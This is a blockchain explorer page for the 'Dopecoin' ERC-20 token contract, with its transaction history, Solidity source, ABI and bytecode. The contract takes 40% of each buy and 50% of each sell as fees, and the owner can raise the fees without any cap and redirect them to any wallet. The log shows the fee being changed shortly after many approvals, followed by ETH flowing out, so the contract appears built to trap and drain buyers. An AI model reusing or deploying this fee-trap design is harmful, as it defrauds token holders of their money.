Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 40 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17079786 | 625 days ago | IN | 0 ETH | 0.00300483 | ||||
Approve | 17079164 | 625 days ago | IN | 0 ETH | 0.00310442 | ||||
Set Marketing Fe... | 17079146 | 625 days ago | IN | 0 ETH | 0.0021684 | ||||
Approve | 17079125 | 625 days ago | IN | 0 ETH | 0.003057 | ||||
Approve | 17079125 | 625 days ago | IN | 0 ETH | 0.003057 | ||||
Approve | 17079121 | 625 days ago | IN | 0 ETH | 0.00305469 | ||||
Approve | 17079119 | 625 days ago | IN | 0 ETH | 0.00296577 | ||||
Approve | 17079119 | 625 days ago | IN | 0 ETH | 0.00296577 | ||||
Approve | 17079118 | 625 days ago | IN | 0 ETH | 0.0030182 | ||||
Approve | 17079118 | 625 days ago | IN | 0 ETH | 0.0030182 | ||||
Approve | 17079118 | 625 days ago | IN | 0 ETH | 0.0030182 | ||||
Approve | 17079118 | 625 days ago | IN | 0 ETH | 0.00311141 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00298382 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00298382 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00302526 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00311846 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00311846 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00374489 | ||||
Approve | 17079117 | 625 days ago | IN | 0 ETH | 0.00374489 |
Latest 12 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
17079167 | 625 days ago | 0.00052731 ETH | ||||
17079167 | 625 days ago | 0.00052731 ETH | ||||
17079167 | 625 days ago | 0.00837918 ETH | ||||
17079167 | 625 days ago | 0.00837918 ETH | ||||
17079167 | 625 days ago | 0.08202698 ETH | ||||
17079167 | 625 days ago | 0.08202698 ETH | ||||
17079162 | 625 days ago | 0.0128612 ETH | ||||
17079162 | 625 days ago | 0.0128612 ETH | ||||
17079162 | 625 days ago | 1.42089791 ETH | ||||
17079162 | 625 days ago | 1.42089791 ETH | ||||
17079162 | 625 days ago | 0.15473524 ETH | ||||
17079162 | 625 days ago | 0.15473524 ETH |
Loading...
Loading
Contract Name:
Dopecoin
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-19 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.19; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; } interface IUniswapV2Pair { function sync() external; } contract Dopecoin is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcludedFromMaxWallet; string private constant _name = "Dope coin"; string private constant _symbol = "Dope"; uint256 private _feeRateTNFT = 50; uint8 private constant _decimals = 18; uint256 private _tTotalTNFT = 100000000 * 10**_decimals; uint256 private _mWalletTNFT = 2000000 * 10**_decimals; address payable public marketingAddress = payable(0x9838A13bC9b827cbF7AA3ae9F40114f41771b9fA); struct BuyFees{ uint256 marketing; } struct SellFees{ uint256 marketing; } BuyFees public buyFee; SellFees public sellFee; uint256 private marketingFee; bool private swapping; constructor () { buyFee.marketing = 40; sellFee.marketing = 50; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = _uniswapV2Pair; _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[address(0x00)] = true; _isExcludedFromFee[address(0xdead)] = true; _isExcludedFromMaxWallet[msg.sender] = true; _isExcludedFromMaxWallet[address(this)] = true; _isExcludedFromMaxWallet[uniswapV2Pair] = true; _isExcludedFromMaxWallet[marketingAddress] = true; balances[_msgSender()] = _tTotalTNFT; emit Transfer(address(0), _msgSender(), _tTotalTNFT); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotalTNFT; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFee[address(account)] = excluded; } function excludeFromMaxWallet(address account, bool excluded) public onlyOwner { _isExcludedFromMaxWallet[address(account)] = excluded; } function setMarketingFee(uint256 amountBuy, uint256 amountSell) public onlyOwner { buyFee.marketing = amountBuy; sellFee.marketing = amountSell; } function setMarketingAddress(address payable newMarketingAddress) external onlyOwner { marketingAddress = newMarketingAddress; } function getMarketingBuyFee() public view returns (uint256) { return buyFee.marketing; } function getMarketingSellFee() public view returns (uint256) { return sellFee.marketing; } receive() external payable {} function takeBuyFees(uint256 amount, address from) private returns (uint256) { uint256 marketingFeeTokens = amount * buyFee.marketing / 100; balances[address(this)] += marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens); return (amount -marketingFeeTokens); } function takeSellFees(uint256 amount, address from) private returns (uint256) { uint256 marketingFeeTokens = amount * sellFee.marketing / 100; balances[address(this)] += marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens ); return (amount -marketingFeeTokens); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function isExcludedFromMaxWallet(address account) public view returns(bool) { return _isExcludedFromMaxWallet[account]; } function setFeeRate(uint256 maxFee) external onlyOwner() { _feeRateTNFT = maxFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner() && !_isExcludedFromMaxWallet[to]){ require(balanceOf(to).add(amount) <= _mWalletTNFT, "Max Balance is reached."); } balances[from] -= amount; uint256 transferAmount = amount; bool takeFee; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && buyFee.marketing > 0 && sellFee.marketing > 0){ takeFee = true; } if(takeFee){ if(to != uniswapV2Pair){ transferAmount = takeBuyFees(amount, to); } else { transferAmount = takeSellFees(amount, from); uint256 swapTokenAtAmount = balanceOf(uniswapV2Pair).mul(_feeRateTNFT).div(1000); if (balanceOf(address(this)) >= swapTokenAtAmount && !swapping) { swapping = true; swapBack(swapTokenAtAmount); swapping = false; } if (!swapping) { swapping = true; swapBack(balanceOf(address(this))); swapping = false; } } } balances[to] += transferAmount; emit Transfer(from, to, transferAmount); } function manualSwapBack() external onlyOwner() { uint256 amount = balanceOf(address(this)); swapTokensForEth(amount); payable(marketingAddress).transfer(address(this).balance); } function swapBack(uint256 amount) private { swapTokensForEth(amount); payable(marketingAddress).transfer(address(this).balance); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getMarketingBuyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getMarketingSellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapBack","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxFee","type":"uint256"}],"name":"setFeeRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newMarketingAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountBuy","type":"uint256"},{"internalType":"uint256","name":"amountSell","type":"uint256"}],"name":"setMarketingFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526032600755620000176012600a620004b9565b62000027906305f5e100620004d1565b600855620000386012600a620004b9565b6200004790621e8480620004d1565b600955600a80546001600160a01b031916739838a13bc9b827cbf7aa3ae9f40114f41771b9fa1790553480156200007d57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506028600b556032600c556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91600091839163c45a01559160048083019260209291908290030181865afa1580156200011f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001459190620004eb565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000193573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001b99190620004eb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000207573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200022d9190620004eb565b600180546001600160a01b038086166001600160a01b0319928316178355600280548286169316929092178255336000818152600560209081526040808320805460ff19908116891790915530808552828520805483168a1790557f05b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bc805483168a1790557f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805483168a1790559484526006909252808320805483168817905592825282822080548216871790559354831681528181208054851686179055600a549092168252812080549092169092179055600854919250600390620003313390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200039491815260200190565b60405180910390a3505062000516565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003fb578160001904821115620003df57620003df620003a4565b80851615620003ed57918102915b93841c9390800290620003bf565b509250929050565b6000826200041457506001620004b3565b816200042357506000620004b3565b81600181146200043c5760028114620004475762000467565b6001915050620004b3565b60ff8411156200045b576200045b620003a4565b50506001821b620004b3565b5060208310610133831016604e8410600b84101617156200048c575081810a620004b3565b620004988383620003ba565b8060001904821115620004af57620004af620003a4565b0290505b92915050565b6000620004ca60ff84168362000403565b9392505050565b8082028115828204841417620004b357620004b3620003a4565b600060208284031215620004fe57600080fd5b81516001600160a01b0381168114620004ca57600080fd5b6115e480620005266000396000f3fe6080604052600436106101c65760003560e01c80635342acb4116100f757806395d89b4111610095578063c024666811610064578063c024666814610550578063d2fcc00114610570578063dd62ed3e14610590578063f2fde38b146105d657600080fd5b806395d89b41146104c3578063a457c2d7146104f0578063a5ece94114610510578063a9059cbb1461053057600080fd5b806370a08231116100d157806370a082311461043a578063715018a6146104705780638da5cb5b14610485578063906e9dd0146104a357600080fd5b80635342acb4146103b357806366eb3785146103ec5780636dd3d39f1461040157600080fd5b80632b14ca56116101645780633f3018931161013e5780633f3018931461033a57806345596e2e1461035c578063470624021461037c57806349bd5a5e1461039357600080fd5b80632b14ca56146102e7578063313ce567146102fe578063395093511461031a57600080fd5b80631299aec4116101a05780631299aec4146102655780631694505e1461027a57806318160ddd146102b257806323b872dd146102c757600080fd5b806306fdde03146101d2578063095ea7b3146102165780630e155a821461024657600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506040805180820190915260098152682237b8329031b7b4b760b91b60208201525b60405161020d91906112c9565b60405180910390f35b34801561022257600080fd5b5061023661023136600461132f565b6105f6565b604051901515815260200161020d565b34801561025257600080fd5b50600c545b60405190815260200161020d565b34801561027157600080fd5b50600b54610257565b34801561028657600080fd5b5060015461029a906001600160a01b031681565b6040516001600160a01b03909116815260200161020d565b3480156102be57600080fd5b50600854610257565b3480156102d357600080fd5b506102366102e236600461135b565b61060d565b3480156102f357600080fd5b50600c546102579081565b34801561030a57600080fd5b506040516012815260200161020d565b34801561032657600080fd5b5061023661033536600461132f565b61065f565b34801561034657600080fd5b5061035a61035536600461139c565b610696565b005b34801561036857600080fd5b5061035a6103773660046113be565b6106d4565b34801561038857600080fd5b50600b546102579081565b34801561039f57600080fd5b5060025461029a906001600160a01b031681565b3480156103bf57600080fd5b506102366103ce3660046113d7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103f857600080fd5b5061035a610703565b34801561040d57600080fd5b5061023661041c3660046113d7565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561044657600080fd5b506102576104553660046113d7565b6001600160a01b031660009081526003602052604090205490565b34801561047c57600080fd5b5061035a610783565b34801561049157600080fd5b506000546001600160a01b031661029a565b3480156104af57600080fd5b5061035a6104be3660046113d7565b6107f7565b3480156104cf57600080fd5b50604080518082019091526004815263446f706560e01b6020820152610200565b3480156104fc57600080fd5b5061023661050b36600461132f565b610843565b34801561051c57600080fd5b50600a5461029a906001600160a01b031681565b34801561053c57600080fd5b5061023661054b36600461132f565b61087a565b34801561055c57600080fd5b5061035a61056b3660046113f4565b610887565b34801561057c57600080fd5b5061035a61058b3660046113f4565b6108dc565b34801561059c57600080fd5b506102576105ab366004611432565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e257600080fd5b5061035a6105f13660046113d7565b610931565b6000610603338484610a1b565b5060015b92915050565b600061061a848484610b3f565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610655918691610650908690611476565b610a1b565b5060019392505050565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610603918590610650908690611489565b6000546001600160a01b031633146106c95760405162461bcd60e51b81526004016106c09061149c565b60405180910390fd5b600b91909155600c55565b6000546001600160a01b031633146106fe5760405162461bcd60e51b81526004016106c09061149c565b600755565b6000546001600160a01b0316331461072d5760405162461bcd60e51b81526004016106c09061149c565b3060009081526003602052604090205461074681610f54565b600a546040516001600160a01b03909116904780156108fc02916000818181858888f1935050505015801561077f573d6000803e3d6000fd5b5050565b6000546001600160a01b031633146107ad5760405162461bcd60e51b81526004016106c09061149c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108215760405162461bcd60e51b81526004016106c09061149c565b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610603918590610650908690611476565b6000610603338484610b3f565b6000546001600160a01b031633146108b15760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461095b5760405162461bcd60e51b81526004016106c09061149c565b6001600160a01b0381166109c05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106c0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a7d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c0565b6001600160a01b038216610ade5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ba35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c0565b6001600160a01b038216610c055760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c0565b60008111610c675760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106c0565b6000546001600160a01b03848116911614801590610c9357506000546001600160a01b03838116911614155b8015610cb857506001600160a01b03821660009081526006602052604090205460ff16155b15610d3757600954610ce982610ce3856001600160a01b031660009081526003602052604090205490565b906110ae565b1115610d375760405162461bcd60e51b815260206004820152601760248201527f4d61782042616c616e636520697320726561636865642e00000000000000000060448201526064016106c0565b6001600160a01b03831660009081526003602052604081208054839290610d5f908490611476565b90915550506001600160a01b03831660009081526005602052604081205482919060ff16158015610da957506001600160a01b03841660009081526005602052604090205460ff16155b8015610db65750600b5415155b8015610dc35750600c5415155b15610dcc575060015b8015610ed1576002546001600160a01b03858116911614610df857610df18385611114565b9150610ed1565b610e0283866111af565b6007546002546001600160a01b031660009081526003602052604081205492945091610e3b916103e891610e35916111c5565b90611247565b306000908152600360205260409020549091508111158015610e605750600e5460ff16155b15610e8657600e805460ff19166001179055610e7b81611289565b600e805460ff191690555b600e5460ff16610ecf57600e805460ff19166001179055610ec4610ebf306001600160a01b031660009081526003602052604090205490565b611289565b600e805460ff191690555b505b6001600160a01b03841660009081526003602052604081208054849290610ef9908490611489565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f4591815260200190565b60405180910390a35050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8957610f896114d1565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100691906114e7565b81600181518110611019576110196114d1565b6001600160a01b03928316602091820292909201015260015461103f9130911684610a1b565b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611078908590600090869030904290600401611504565b600060405180830381600087803b15801561109257600080fd5b505af11580156110a6573d6000803e3d6000fd5b505050505050565b6000806110bb8385611489565b90508381101561110d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106c0565b9392505050565b6000806064600b600001548561112a9190611575565b611134919061158c565b30600090815260036020526040812080549293508392909190611158908490611489565b909155505060405181815230906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36111a78185611476565b949350505050565b6000806064600c600001548561112a9190611575565b6000826000036111d757506000610607565b60006111e38385611575565b9050826111f0858361158c565b1461110d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106c0565b600061110d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611292565b61074681610f54565b600081836112b35760405162461bcd60e51b81526004016106c091906112c9565b5060006112c0848661158c565b95945050505050565b600060208083528351808285015260005b818110156112f6578581018301518582016040015282016112da565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461132c57600080fd5b50565b6000806040838503121561134257600080fd5b823561134d81611317565b946020939093013593505050565b60008060006060848603121561137057600080fd5b833561137b81611317565b9250602084013561138b81611317565b929592945050506040919091013590565b600080604083850312156113af57600080fd5b50508035926020909101359150565b6000602082840312156113d057600080fd5b5035919050565b6000602082840312156113e957600080fd5b813561110d81611317565b6000806040838503121561140757600080fd5b823561141281611317565b91506020830135801515811461142757600080fd5b809150509250929050565b6000806040838503121561144557600080fd5b823561145081611317565b9150602083013561142781611317565b634e487b7160e01b600052601160045260246000fd5b8181038181111561060757610607611460565b8082018082111561060757610607611460565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156114f957600080fd5b815161110d81611317565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115545784516001600160a01b03168352938301939183019160010161152f565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761060757610607611460565b6000826115a957634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212208b27161bc8d6b8b265718f1a22e92655e701c8ef4bd8545483665fb9f67509c964736f6c63430008130033
Deployed Bytecode
